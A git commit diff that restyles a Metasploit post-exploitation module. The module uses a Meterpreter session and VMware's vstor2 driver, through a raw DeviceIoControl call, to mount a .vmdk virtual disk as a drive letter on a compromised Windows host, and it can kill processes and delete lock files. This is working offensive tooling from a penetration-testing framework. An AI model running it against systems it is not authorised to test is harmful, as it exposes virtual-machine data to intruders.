Clean up module

This commit is contained in:
William Vu 2017-06-26 15:08:37 -05:00
parent 7077ac0523
commit 639f341b21
1 changed files with 96 additions and 97 deletions

View File

@ -1,5 +1,4 @@
##
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
@ -11,32 +10,31 @@ class MetasploitModule < Msf::Post
def initialize(info={})
super(update_info(info,
'Name' => 'Windows Manage VMDK Mount Drive',
'Description' => %q{
This module mounts a vmdk file (Virtual Machine Disk) on a drive provided by the user by taking advantage
of the vstor2 device driver (VMware). First, it executes the binary vixDiskMountServer.exe to access the
device and then it sends certain control code via DeviceIoControl to mount it. Use the write mode with
extreme care. You should only open a disk file in writable mode if you know for sure that no snapshots
or clones are linked from the file.
},
'License' => MSF_LICENSE,
'Author' => 'Borja Merino <bmerinofe[at]gmail.com>',
'References' =>
'Name' => 'Windows Manage VMDK Mount Drive',
'Description' => %q{
This module mounts a vmdk file (Virtual Machine Disk) on a drive provided by the user by taking advantage
of the vstor2 device driver (VMware). First, it executes the binary vixDiskMountServer.exe to access the
device and then it sends certain control code via DeviceIoControl to mount it. Use the write mode with
extreme care. You should only open a disk file in writable mode if you know for sure that no snapshots
or clones are linked from the file.
},
'License' => MSF_LICENSE,
'Author' => 'Borja Merino <bmerinofe[at]gmail.com>',
'References' =>
[
[ 'URL', 'http://www.shelliscoming.com/2017/05/post-exploitation-mounting-vmdk-files.html' ]
['URL', 'http://www.shelliscoming.com/2017/05/post-exploitation-mounting-vmdk-files.html']
],
'Platform' => [ 'win'],
'SessionTypes' => [ 'meterpreter']
'Platform' => ['win'],
'SessionTypes' => ['meterpreter']
))
register_options(
[
OptString.new('VMDK_PATH', [true, 'Full path to the .vmdk file' ]),
OptString.new('DRIVE', [ true, 'Mount point (drive letter)', 'Z']),
OptBool.new('READ_MODE', [true, 'Open file in read-only mode', true ]),
OptBool.new('DEL_LCK', [true, 'Delete .vmdk lock file', false ]),
],
self.class
OptString.new('VMDK_PATH', [true, 'Full path to the .vmdk file']),
OptString.new('DRIVE', [true, 'Mount point (drive letter)', 'Z']),
OptBool.new('READ_MODE', [true, 'Open file in read-only mode', true]),
OptBool.new('DEL_LCK', [true, 'Delete .vmdk lock file', false]),
]
)
end
@ -54,22 +52,21 @@ class MetasploitModule < Msf::Post
end
end
return drives
drives
end
def run
vol = datastore['DRIVE'][0].upcase
vmdk = datastore['VMDK_PATH']
if vol.count("EFGHIJKLMNOPQRSTUVWXYZ") == 0
print_error("Wrong drive letter. Choose another one")
return
print_error("Wrong drive letter. Choose another one")
return
end
drives = get_drives
if drives.include? vol
print_error("The following mount points already exists: #{drives}. Choose another one")
return
print_error("The following mount points already exists: #{drives}. Choose another one")
return
end
# Using stat instead of file? to check if the file exists due to this https://github.com/rapid7/metasploit-framework/issues/8202
@ -83,18 +80,18 @@ class MetasploitModule < Msf::Post
vmware_path = registry_getvaldata("HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\App Paths\\vmplayer.exe","path")
if vmware_path.nil?
print_error("VMware installation path not found.")
return
print_error("VMware installation path not found.")
return
end
print_status("VMware path: \"#{vmware_path}\"")
vstor_device = find_vstor2_device
vstor_device = find_vstor2_device
if vstor_device.nil?
return
return
end
if not open_mountserver(vmware_path) or not mount_vmdk(vstor_device, vmdk, vol, datastore['READ_MODE'])
if !open_mountserver(vmware_path) || !mount_vmdk(vstor_device, vmdk, vol, datastore['READ_MODE'])
return
end
@ -102,46 +99,46 @@ class MetasploitModule < Msf::Post
sleep(5)
if get_drives.include? vol
print_good("The drive #{vol}: seems to be ready")
if datastore['DEL_LCK']
delete_lck(vmdk)
end
print_good("The drive #{vol}: seems to be ready")
if datastore['DEL_LCK']
delete_lck(vmdk)
end
else
print_error("The drive couldn't be mounted. Check if a .lck file is blocking the access to the vmdk file")
# Some snapshots could give some problems when are mount in write mode
if not datastore['READ_MODE']
print_status("Try to mount the drive in read only mode")
end
print_error("The drive couldn't be mounted. Check if a .lck file is blocking the access to the vmdk file")
# Some snapshots could give some problems when are mount in write mode
if !datastore['READ_MODE']
print_status("Try to mount the drive in read only mode")
end
end
end
# Delete the lck file generated after mounting the drive
def delete_lck(vmdk)
lck_dir = vmdk << ".lck"
begin
files = client.fs.dir.entries(lck_dir)
vprint_status("Directory lock: #{lck_dir}")
rescue Rex::Post::Meterpreter::RequestError
print_status("It was not found a lck directory")
return
end
lck_dir = vmdk << ".lck"
begin
files = client.fs.dir.entries(lck_dir)
vprint_status("Directory lock: #{lck_dir}")
rescue Rex::Post::Meterpreter::RequestError
print_status("It was not found a lck directory")
return
end
files.shift(2)
files.each do |f|
f_path = lck_dir + "\\#{f}"
next if not file?(f_path)
fd = client.fs.file.open(f_path)
content = fd.read.to_s
fd.close()
if content.include? "vixDiskMountServer"
begin
client.fs.file.rm(f_path)
print_status("Lock file #{f} deleted")
rescue ::Exception => e
print_error("Unable to remove file: #{e.message}")
end
end
files.shift(2)
files.each do |f|
f_path = lck_dir + "\\#{f}"
next if !file?(f_path)
fd = client.fs.file.open(f_path)
content = fd.read.to_s
fd.close
if content.include? "vixDiskMountServer"
begin
client.fs.file.rm(f_path)
print_status("Lock file #{f} deleted")
rescue ::Exception => e
print_error("Unable to remove file: #{e.message}")
end
end
end
end
# Recover the device drive name created by vstor2-mntapi20-shared.sys
@ -149,9 +146,9 @@ class MetasploitModule < Msf::Post
reg_services = "HKLM\\SYSTEM\\ControlSet001\\Services\\"
devices = registry_enumkeys(reg_services)
vstor2_key = devices.grep(/^vstor2/)
if not vstor2_key.any?
print_error("No vstor2 key found on #{reg_services}")
return
if !vstor2_key.any?
print_error("No vstor2 key found on #{reg_services}")
return
end
device_path = registry_getvaldata(reg_services << vstor2_key[0],"ImagePath")
@ -163,7 +160,7 @@ class MetasploitModule < Msf::Post
device_name = device_path.split('\\')[-1].split('.')[0]
print_status("Device driver name found: \\\\.\\#{device_name}")
return device_name.insert(0, "\\\\.\\")
device_name.insert(0, "\\\\.\\")
end
# Mount the vmdk file by sending a magic control code via DeviceIoControl
@ -187,37 +184,37 @@ class MetasploitModule < Msf::Post
fd6 = "\x00\x00\x00\x00"
path = (vmdk_file).ljust 260, "\x00"
if read_mode
fd7 = "\x01\x00\x00\x00"
fd7 = "\x01\x00\x00\x00"
else
fd7 = "\x00\x00\x00\x00"
fd7 = "\x00\x00\x00\x00"
end
# The total length of the buffer should be 292
buffer = fd1 << fd2 << fd3 << fd4 << fd5 << fd6 << drive_dword << path << fd7
buffer = fd1 << fd2 << fd3 << fd4 << fd5 << fd6 << drive_dword << path << fd7
error_code = ""
tries = 0
loop do
ioctl = client.railgun.kernel32.DeviceIoControl(ret['return'],0x2A002C,buffer,292,16348,16348,4,nil)
error_code = ioctl['GetLastError']
vprint_status("GetlastError DeviceIoControl = #{error_code}")
tries += 1
break if tries == 3 or (error_code != 31 and error_code != 6)
ioctl = client.railgun.kernel32.DeviceIoControl(ret['return'],0x2A002C,buffer,292,16348,16348,4,nil)
error_code = ioctl['GetLastError']
vprint_status("GetlastError DeviceIoControl = #{error_code}")
tries += 1
break if tries == 3 || (error_code != 31 && error_code != 6)
end
if (error_code == 997 or error_code == 0)
client.railgun.kernel32.CloseHandle(ret['return'])
return true
if error_code == 997 || error_code == 0
client.railgun.kernel32.CloseHandle(ret['return'])
return true
else
print_error("The vmdk file could't be mounted")
return false
print_error("The vmdk file could't be mounted")
return false
end
end
# Run the hidden vixDiskMountServer process needed to interact with the driver
def open_mountserver(path)
mount_bin = "vixDiskMountServer.exe"
if not file?(path << mount_bin)
if !file?(path << mount_bin)
print_error("#{mount_bin} not found in \"#{path}\"")
return false
end
@ -231,20 +228,20 @@ class MetasploitModule < Msf::Post
# For this reason, to avoid this case, the process is relaunched automatically.
p = session.sys.process.each_process.find { |i| i["name"] == mount_bin}
if not p.nil?
if p["ppid"] != session.sys.process.getpid
print_error("An instance of #{mount_bin} is already running by another process")
return false
else
begin
print_status("Killing the #{mount_bin} instance")
session.sys.process.kill(p["pid"])
sleep(1)
rescue ::Rex::Post::Meterpreter::RequestError => error
print_error("The #{mount_bin} instance depending on Meterpeter could not be killed")
return false
end
end
if p
if p["ppid"] != session.sys.process.getpid
print_error("An instance of #{mount_bin} is already running by another process")
return false
else
begin
print_status("Killing the #{mount_bin} instance")
session.sys.process.kill(p["pid"])
sleep(1)
rescue ::Rex::Post::Meterpreter::RequestError => error
print_error("The #{mount_bin} instance depending on Meterpeter could not be killed")
return false
end
end
end
begin
@ -255,6 +252,8 @@ class MetasploitModule < Msf::Post
print_error("Binary #{mount_bin} could could not be spawned : #{error.to_s}")
return false
end
return true
true
end
end